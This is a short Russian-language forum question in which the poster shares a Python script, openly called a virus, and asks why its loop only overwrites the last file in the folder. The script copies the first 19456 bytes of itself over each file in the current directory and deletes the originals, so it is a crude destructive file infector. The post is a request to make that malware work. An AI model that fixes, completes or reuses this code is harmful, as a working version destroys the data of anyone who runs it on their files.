К сожалению, неправильно работает цикл for. Хоть убейте не вижу ошибки.
#!/usr/bin/env python # coding: utf-8 import sys import os import shutil import random virPath = os.path.split(sys.argv[0]); names = os.listdir('.'); proverka = "proverka"; fvir = open(sys.argv[0], 'rb'); virData = fvir.read(19456); for name in names: namePair = os.path.splitext(name); os.rename(name, "virus.exe"); fprog = open("virus.exe", 'rb'); progData = fprog.read(); fnew = open(name, 'wb'); fnew.write(virData); fnew.close(); fprog.close(); os.remove("virus.exe"); fvir.close();
В итоге получаю, что заменяет в папке только последний файл из списка names, т.е. с.exe заменяет на самого себя, а оставшиеся a.exe и b.exe остаются без изменения.